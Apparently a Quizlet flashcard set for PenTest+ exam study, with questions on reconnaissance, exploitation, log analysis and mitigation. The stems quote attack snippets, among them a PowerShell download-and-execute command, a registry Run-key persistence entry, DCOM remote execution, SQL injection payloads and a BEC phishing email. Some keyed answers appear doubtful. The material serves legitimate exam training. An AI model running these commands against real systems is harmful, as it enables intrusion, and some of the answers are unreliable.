Pentest+ Dion

Study online at https://quizlet.com/_fhyi2c

A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and saw them enter the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Adiontraining.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT THREE) All search filters are deactivated Returns only files hosted at diontraining.com Returns only microsoft excel spreadsheet find sites related to diontraining.com excludes microsoft excel spreadhseets personalization is turned off	Returns only files hosted at diontraining.com Returns only microsoft excel spreadsheet personalization is turned off
Dion Consulting Group has recently been awarded a contract to provide cybersecurity services for a major hospital chain in 48 cities across the United States. You are conducting a vulnerability scan of the hospital's enterprise network when you detect several devices that could be vulnerable to a buffer overflow attack. Upon further investigation, you determine that these devices are PLCs used to control the hospital's elevators. Unfortunately, there is not an update available from the elevator manufacturer for these devices. Which of the following mitigations do you recommend?	Recommend isolation of the elevator control system from the rest of the production network through the change control process
You have been contracted to perform a web application assessment. You believe the best way to exploit the application is to provide it a specially crafted XML file. The application normally allows users to import XML-based files and then parses them during ingestion. Which of the following support resources should you request from the organization before starting your assessment?	SOAP Project File
What is not a valid reason to conduct reverse engineering to commit industrial espionage to determine how a piece of malware operates to allow thes oftware developer to spot flaws in their source code to allow an attack to spot vulnerabilties in an executable	to allow the software developer to spot flaws in their source code
A system administrator wants to verify that external IP addresses cannot collect software versioning from servers on the network. Which of the following should the system administrator do to confirm the network is protected?	Analyze packet captures
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and saw them enter the following URL, https://www.google.com/search?q=*%40diontraining.com. Which of the following is true about the results of this search?	Return all web pages containing an email address affiliated with diontraining.com
During the analysis of data as part of ongoing security monitoring activities, which of the following is NOT a good source of information to validate the results of an analyst's vulnerability scans of the network's domain controllers?	DMARC and DKIM
You are planning to exploit a network-based vulnerability against a Windows server. As part of your planning, you use the auxiliary scanner in Metasploit against the network and receive the following results:	

-=-=-=-=-=- [+] 192.168.1.2 community string: 'public' info: 'GSM7224 L2 Managed Gigabit Switch' [+] 192.168.1.199 community string: 'public' info: 'HP ETHERNET MULTI-ENVIRONMENT' [+] 192.168.1.2 community string: 'private' info: 'GSM7224 L2 Managed Gigabit Switch' [+] 192.168.1.199 community string: 'private' info: 'HP ETHERNET MULTI-ENVIRONMENT' [*] Validating scan results from 2 hosts... [*] Host 192.168.1.199 provides READ-WRITE access with community 'internal' [*] Host 192.168.1.199 provides READ-WRITE access with community 'private' [*] Host 192.168.1.199 provides READ-WRITE access with community 'public' [*] Host 192.168.1.2 provides READ-WRITE access with community 'private' [*] Host 192.168.1.2 provide	SNMP exploit
Which of the following scan types are useful for probing firewall rules?	TCP ACK
During her login session, Sally is asked by the system for a code sent to her via text (SMS) message. Which of the following concerns should she raise to her organization's AAA services manager?	SMS messages may be accessible to attackers via VoIP or other systems
Christina is conducting a penetration test against Dion Training's network. The goal of this engagement is to conduct data exfiltration of the company's exam database without detection. Christina enters the following command into the terminal: -=-=-=-=-=-=- C:\database\exams.db>c:\Users\Christina\Desktop\beachpic.png:exams.db -=-=-=-=-=-=- Next, Christina emailed the beachpic.png file to her personal email account. Which of the following techniques did she use to exfiltrate the file?	Alternate Data Streams
A software assurance laboratory performs a dynamic assessment on an application by automatically generating random data sets and inputting them to cause an error or failure condition. Which of the following is the laboratory performing?	Fuzzing
Which of the following tools is a post-exploitation framework that would allow a penetration tester to run PowerShell agents without requiring the use of powershell.exe?	Empire
A cybersecurity analyst is reviewing the logs of an authentication server and saw the following output: -=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-[443] [https-get-form] host: diontraining.com login: jason password: password [443] [https-get-form] host: diontraining.com login: jason password: CompTIACySA+ [443] [https-get-form] host: diontraining.com login: jason password: 123456 [443] [https-get-form] host: diontraining.com login: jason password: qwerty [443] [https-get-form] host: diontraining.com login: jason password: abc123 [443] [https-get-form] host: diontraining.com login: jason password: password1 [443] [https-get-form] host: diontraining.com login: jason password: P@$$w0rd! [443] [https-get-form] host: diontraining.com login: jason password: C0mpT1@P@$$w0rd -=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=- What type of attack was most likely being attempted by the attacker?	Brute Force
You are working as part of a penetration testing team targeting Dion Training's website. Which of the following tools should you use to attempt an XSS or injection attack against their website?	BeEF
An attacker uses the nslookup interactive mode to locate information on a Domain Name Service (DNS). What command	set type=ns

should they type to request the appropriate records for only name servers?	
Dion Training wants to implement technology within their corporate network to BEST mitigate the risk that a zero-day virus might infect their workstations. Which of the following should be implemented FIRST?	Application Whitelisting
You are working as part of a penetration testing team during an engagement. A coworker just entered "sudo systemctl stop DionTrainingApp" in the shell of a Linux server the team exploited. What action is your coworker performing with this command?	To remove persistance on the server
You have been contracted to conduct a penetration test on a regional hospital chain to validate their compliance with industry standards. Which of the following should you scan for when performing this compliance-based assessment? (Select TWO) Cleartext credentials in LDAP PHI being transmitted over HTTP Lack of digital code signing Data at rest improperly configerd on the database Cookie manipulation on the client's web browser Tailgating or piggybacking	PHI being transmitted over HTTP Data at rest improperly configured on the database
Dion Training has hired you to assess its voucher fulfillment REST API on its e-commerce website. Which of the following support resources would be MOST helpful in your assessment?	Swagger Document
Your organization's primary operating system vendor just released a critical patch for your servers. Your system administrators have recently deployed this patch and verified the installation was successful. This critical patch was designed to remediate a vulnerability that can allow a malicious actor to execute code on the server over the Internet remotely. You ran a vulnerability scan of the network and determined that all servers are still being reported as having the vulnerability. You verified all your scan configurations are correct. Which of the following might be the reason that the scan report still showing the servers as vulnerable? (SELECT ALL THAT APPLY) The vulnerability assesment scan is returning a false positve This critical patch did not remediate the vulnerability You conducted the vulnerabiltiy scan without waiting long enough after the patch was installed The wrong IP address range was scanned	The vulnerability assesment scan is returning a false positve This critical patch did not remediate the vulnerability
The local electric power plant contains both business networks and ICS/SCADA networks to control their equipment. Which technology should the power plant's security administrators look to implement first as part of configuring better defenses for the ICS/SCADA systems?	Intrusion Prevention System
During your reconnaissance, you have determined that your client's employees all use iPhones that connect back to the corporate network over a secure VPN connection. Which of the following methods would MOST likely be the best method for exploiting these?	Identify a jailbroken devicse for easy exploitation

An analyst's vulnerability scanner did not have the latest set of signatures installed. Due to this, several unpatched servers may have vulnerabilities that were undetected by their scanner. You have directed the analyst to update their vulnerability scanner with the latest signatures at least 24 hours before conducting any scans. However, the results of their scans still appear to be the same. Which of the following logical controls should you use to address this situation?	Configure the vulnerability scanners to run in credentialed mode
You are conducting a vulnerability assessment when you discover a critical web application vulnerability on one of your Apache servers. Which of the following files would contain the Apache server's logs if your organization uses the default naming convention?	access_log
A cybersecurity analyst is analyzing what they believe to be an active intrusion into their network. The indicator of compromise maps to suspected nation-state group that has strong financial motives, APT 38. Unfortunately, the analyst finds their data correlation lacking and cannot determine which assets have been affected, so they begin to review the list of network assets online. The following servers are currently online: PAYROLL_DB, DEV_SERVER7, FIREFLY, DEATHSTAR, THOR, and DION. Which of the following actions should the analyst conduct first?	Conduct a data criticallity and prioritization analysis
You are watching as a penetration tester is conducting an engagement against Dion Training's network. You see the following commands and output in their terminal: -=-=-=-=-=-=- # find / -perm +4000 -user root -type f -print /usr/sbin/exim4 /usr/bin/sudo /usr/bin/passwd /usr/games/mahjong # chmod 4111 /usr/bin/sudo -=-=-=-=-=-=- Which of the following vulnerabilities is the penetration tester trying to exploit	unsecure SUDO vuln
You are analyzing the logs of a web server and see the following entry: -=-=-=-=--=-=-=-=-=--=-=-=-=-192.168.1.25 - - [05/Aug/2020:15:16:42 -0400] "GET /%27%27;!-%22%3CDION%3E=&{()} HTTP/1.13 404 310 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12)Gecko/2009070812 Ubuntu/19.04 (disco dingo) Firefox/3.0.123 -=-=-=-=-=--=-=-=-=-=--=-=-=-=-=- Based on this entry, which of the following attacks was attempted?	XML injection
Which of the following is exploited by an SQL injection to give the attacker access to a database?	Web application
You are conducting a wireless penetration test against an organization. During your attack, you created an evil twin of their wireless network. Many of the organization's laptops are now connected to your evil twin access point. Which of the following exploits should you utilize next to gather credentials from the victims browsing the internet through your access point?	Downgrade attack
You are conducting a wireless penetration test against an organization. You have identified that they are using WEP encryption on their wireless access points. You are impatient and do not want to wait to collect enough packets to find a repeated initialization vector. You decide to extract part of the key material from one of the packets and use it to send an ARP request to the AP. Which of the following exploits did you utilize in this attack?	Fragmentation attack
A cybersecurity analyst conducts proactive threat hunting on a network by correlating and searching the Sysmon and Windows Event logs. The analyst uses the following query as part of their hunt:	

-=- Query: "mimikatz" NOT "EventCode=4658" NOT "EventCode=4689" EventCode=10 | stats count by _time, SourceImage, TargetImage, GrantedAccess -=- Based on the query above, which of the following potential indicators of compromise is the threat hunter relying on?	Unauthorized software
Your organization has recently been the target of a spearphishing campaign. You have identified the website associated with the link in the spearphishing emails and want to block it. Which of the following techniques would be the MOST effective in this situation?	URL filter
Which of the following is the MOST important thing to receive from the client during the planning for an engagement?	Tolerance to impact
What should a vulnerability report include if a cybersecurity analyst wants it to reflect the assets scanned accurately?	virtual hosts
Windows file servers commonly hold sensitive files, databases, passwords, and more. What common vulnerability is usually used against a Windows file server to expose sensitive files, databases, and passwords?	missing patches
A cybersecurity analyst just finished conducting an initial vulnerability scan and is reviewing their results. To avoid wasting time on results that are not really a vulnerability, the analyst wants to remove any false positives before remediating the findings. Which of the following is an indicator that something in their results would be a false positive?	items classified by the system as low or as for information purposes only
As a cybersecurity analyst conducting vulnerability scans, you have just completed your first scan of an enterprise network comprising over 10,000 workstations. As you examine your findings, you note that you have less than 1 critical finding per 100 workstations. Which of the following statement does BEST explain these results?	an uncredentialed scan of the networks was performed
Cybersecurity analysts are experiencing some issues with their vulnerability scans aborting because the previous day's scans are still running when the scanner attempts to start the current day's scans. Which of the following recommendations is LEAST likely to resolve this issue?	add another vulnerability scanner
Which of the protocols listed is NOT likely to trigger a vulnerability scan alert when used to support a virtual private network (VPN)?	IPsec
You have been tasked to create some baseline system images to remediate vulnerabilities found in different operating systems. Before any of the images can be deployed, they must be scanned for malware and vulnerabilities. You must ensure the configurations meet industry-standard benchmarks and that the baselining creation process can be repeated frequently. What vulnerability option would BEST create the process requirements to meet the industry-standard benchmarks?	Utilizing operationg system SCAP plugin
Matt is conducting a penetration test against Dion Training's network. This engagement aims to simulate an advanced persistent threat and demonstrate persistence for 30 days without their system administrators identifying the intrusion. Matt enters the following command into the terminal: -=-=-=-=-=-=- reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v beacon /d C: \Windows\Temp\beacon.bat -=-=-=-=-=-=- Which of the following types of persistence is Matt trying to utilize?	Registry startup
You are analyzing the logs of a web server. Consider the following log sample:	

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plug-in/check_user.php?userid=1 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)" 84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plug-in/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR	SQL injection
A software company is meeting with a car manufacturer to finalize discussions. In the signed document, the software company will provide the latest versions of its mapping application suite for the car manufacturer's next generation of cars. In return, the car manufacturer will provide three specific vehicle analytics to the software company to enhance the software company's mapping application suite. The software company can offer its enhanced mapping application to other car manufacturers but must pay the car manufacturer a royalty. Which of the following BEST describes the document used in this scenario?	MOU
Your organization is preparing for its required quarterly PCI DSS external vulnerability scan. Who is authorized to perform this scan?	only approved scanning vendor
You have been contracted by Dion Training to conduct a pene-tration test against its learning management system (LMS). The LMS is a web application that is hosted in the organization's DMZ. Which of the following appliances should the organization whitelist your source IP in before the engagement begins?	WAF
While conducting a penetration test against an organization, you gained access to the CEO's account. You log in as the CEO and send the following email: -=-=-=-=-=-=- Subject: URGENT - Payment Required Date: December 3, 2020 12:43 pm From: "Jason Dion - CEO" <jason.dion@diontraining.com> To: "Cristian Santiago - Financial Analyst" <cristian.santiago@dion-training.com> Attachment: WiringInstructions.pdf Cristian, Please find the attached wiring instruction for the $15,425 pay-ment to the cloud hosting provider. This bill is showing as overdue, and payment MUST be transferred today. Please process ASAP. Thanks, Jason Dion, CEO Dion Training Solutions, LLC -=-=-=-=-=-=- Which of the following attacks are you utilizing in this scenario?	BEC attack
A cybersecurity analyst is reviewing the logs for his company's server and sees the following output: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Process spawned by services.exe (c:\windows\system32\inetsrv\svchost.exe) Process spawned by services.exe (c:\windows\sys-tem32\cmd.exe) Command line (cmd /c start C:\WINDOWS\system32\wmiprvse.exe c:\WINDOWS\system32\ 2006)-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-	unauthorized privilege being used

Based on this potential indicator of compromise (IoC), which of the following hypotheses should you make to begin threat hunting?	
Which of the following attacks would most likely be used to create an inadvertent disclosure of information from an organization's database?	cross site scripting
A cybersecurity analyst working at a major university is reviewing the SQL server log of completed transactions and notices the following entry: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"select ID, GRADE from GRADES where ID=1235235; UPDATE GRADES set GRADE='A' where ID=1235235;" -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Based on this transaction log, which of the following most likely occurred?	someone used an sql injection to asssign straight As to the student with ID #1235235
A software assurance test analyst performs a dynamic assessment on an application by automatically generating random data sets and inputting them in an attempt to cause an error or failure condition. Which technique is the analyst utilizing?	Fuzzing
A penetration tester has exploited an FTP server using Metasploit and now wants to pivot to the organization's LAN. What is the best method for the penetration tester to use to conduct the pivot?	Create a route statement in meterpreter
You are working as part of a DevSecOps team at Dion Training on a new practice exam web application. Which of the following tools should you utilize to scan the web application's database to determine if it is vulnerable to injection flaws?	SQLmap
You are working as part of a DevSecOps team at Dion Training on a new practice exam Android application. You need to conduct static analysis on the APK (Android PacKage) as part of your software assurance responsibilities. Which of the following tools should you utilize?	Conver the DEX to a JAR file and then decompile the JAR into java
An outside organization has completed a penetration test for a company. One of the report items reflects the ability to read SSL traffic from the webserver. What is the MOST likely mitigation for this reported item?	Ensure patches are deployed
You received an incident response report indicating a piece of malware was introduced into the company's network through a remote workstation connected to the company's servers over a VPN connection. Which of the following controls should be applied to prevent this type of incident from occurring again?	NAC
Which of the following types of encryption would ensure the best security of a website?	TLS
Raj is working to deploy a new vulnerability scanner for an organization. He wants to verify the information he gets is the most accurate view of the configurations on the organization's traveling salespeople's laptops to determine if any configuration issues could lead to new vulnerabilities. Which of the following technologies would work BEST to collect the configuration information in this situation?	agent-based scanning
You are a cybersecurity analyst, and your company has just enabled key-based authentication on its SSH server. Review the following log file: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BEGIN LOG ---------- Sep 09 13:15:24 diontraining sshd[3423]: Failed password for root from 192.168.3.2 port 45273 ssh2 Sep 09 15:43:15 diontraining sshd[3542]: Failed password for root from 192.168.2.24 port 43543 ssh2 Sep 09 15:43:24 diontraining sshd[3544]: Failed password for jdion from 192.168.2.24 port 43589 ssh2 Sep 09 15:43:31 diontraining sshd[3546]: Failed password for tmartinez from 192.168.2.24 port 43619 ssh2 Sep 09 15:43:31 diontraining	disable password authentication for ssh

sshd[3546]: Failed password for jdion from 192.168.2.24 port 43631 ssh2 Sep 09 15:43:37 diontraining sshd[3548]: Failed password for root from 192.168.2.24 port 43657 ssh2 ---------- END LOG -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Which of the following actions should be performed to secure	
During a business trip, Bobby connects to the hotel's wireless network to send emails to some of his clients. The next day, Bobby notices that additional emails have been sent out from his account without consent. Which of the following protocols was MOST likely used to compromise Bobby's email password utilizing a network sniffer?	HTTP
A user receives certificate errors in other languages within their web browser when accessing your company's website. Which of the following is the MOST likely cause of this issue?	MiTM
Jason is conducting a penetration test against Dion Training's Windows-based network. He wants to laterally move to another host and execute an exploit he previously trick a user into downloading to the C:\Windows\temp directory on the workstation with an IP of 192.168.1.50. He types the following into his terminal: -=-=-=-=-=-=- PS C:\Users\jason> $obj = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192. 168.1.50")) PS C:\Users\jason> $obj.Document.ActiveView.ExecuteShellCommand("C:\Windows\temp\exploit.exe", $null,$null,"7")-=-=-=-=-=-=- Based on these commands, what type of post-exploitation lateral movement did Jason utilize?	RPC/DCOM
Your organization's primary operating system vendor just released a critical patch for your servers. Your system administrators have recently deployed this patch and verified the installation was successful. This critical patch was designed to remediate a vulnerability that can allow a malicious actor to execute code on the server over the Internet remotely. You ran a vulnerability scan of the network and determined that all servers are still being reported as having the vulnerability. You verified all your scan configurations are correct. Which of the following might be the reason that the scan report still shows the servers as vulnerable? (SELECT ALL THAT APPLY) The wrong IP address range was scanned This critical patch did not remediate the vulnerability The vulnerability assessment scan is returning a false positive You conducted the vulnerability scan without waiting long enough after the patch was installed	This critical patch did not remediate the vulnerability The vulnerability assessment scan is returning a false positive
You have been given access to a Windows system located on an Active Directory domain as part of a known environment penetration test. Which of the following commands would provide information about other systems on this network?	net view
What is a common Service Oriented Architecture Protocol (SOAP) vulnerability?	XML denial of service
What command could be used to list the active services from the Windows command prompt?	sc query
A security engineer is using the Kali Linux operating system and is writing exploits in C++. What command should they use to compile their new exploit and name it notepad.exe?	g++ exploit.cpp -o notepad.exe

A new corporate policy dictates that all access to network resources will be controlled based on the user's job functions and tasks within the organization. For example, only people working in Human Resources can access employee records, and only the people working in finance can access customer payment histories. Which of the following security concepts is BEST described by this new policy?	least privilege
Which of the following secure coding best practices ensures a character like < is translated into the &lt string when writing to an HTML page?	output encoding
You are planning an engagement with a new client. The client wants your penetration testers to target their web and email servers that are hosted in a screened subnet and are accessible to visitors over the Internet. Which target type best describes these targets?	external
Which technique would provide the largest increase in security on a network with ICS, SCADA, or IoT devices?	user and entity behavior analytics
Your team is developing an update to a piece of code that allows customers to update their billing and shipping addresses in the web application. The shipping address field used in the database was designed with a limit of 75 characters. Your team's web programmer has brought you some algorithms that may help prevent an attacker from trying to conduct a buffer overflow attack by submitting invalid input to the shipping address field. Which pseudo-code represents the best solution to prevent this issue?	if (shippingAddress <= 75) {update field} else exit
You are working as a penetration tester conducting an engagement against Dion Training's network. You have just conducted a successful exploit of the company's Active Directory server. A few minutes later, you receive a call from the company's trusted agent asking if you have just created a new administrative user named "TheMightOne" in their domain controller. You tell the agent that you did, and he says, "Ok, I will wait to see how long it takes for my team to notice it on their own." Which of the following BEST describes this scenario?	de-confliction
A recent threat has been announced in the cybersecurity world, stating a critical vulnerability in a particular operating system's kernel. Unfortunately, your company has not maintained a current asset inventory, so you are unsure of how many of your servers may be affected. What should you do to find all of the affected servers within your network?	conduct OS fingerprinting across the network
You are preparing for the exploitation of Dion Training's systems as part of a penetration test. During your research, you determined that Dion Training is using application containers for each of their websites. You believe that these containers are all hosted on the same physical underlying server. Which of the following components should you attempt to exploit to gain access to all of the websites at once?	common libraries
You are conducting a grep search on a log file using the following REGEX expression: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \b[A-Za-z0-9_%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Which of the following strings would be included in the output of the search?	support@diontraining.com
A penetration tester issued the following command on a victimized Windows system: -=-=-=-=-=- c:\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://diontraining.com/updates') -=-=-=-=-=-	download and execute a remote script

Based on this command, which of the following exploits is the penetration tester MOST likely trying to conduct?	
(Sample Simulation - On the real exam for this type of question, you would have access to the log files to determine which server on a network might have been affected, and then choose the appropriate actions.) A cybersecurity analyst has determined that an attack has occurred against your company's network. Fortunately, your company uses a good logging system with a centralized Syslog server, so all the logs are available, collected, and stored properly. According to the cybersecurity analyst, the logs indicate that the database server was the only company server on the network that appears to have been attacked. The network is a critical production network for your organization. Therefore, you have been asked to choose the LEAST disruptive actions on the network while performing the appropriate incident response actions. Which actions do you recommend as part of the response efforts?	capture network traffic using a sniffer, schedule a period of downtime to image and remediate the affected server, and maintain the chain of custody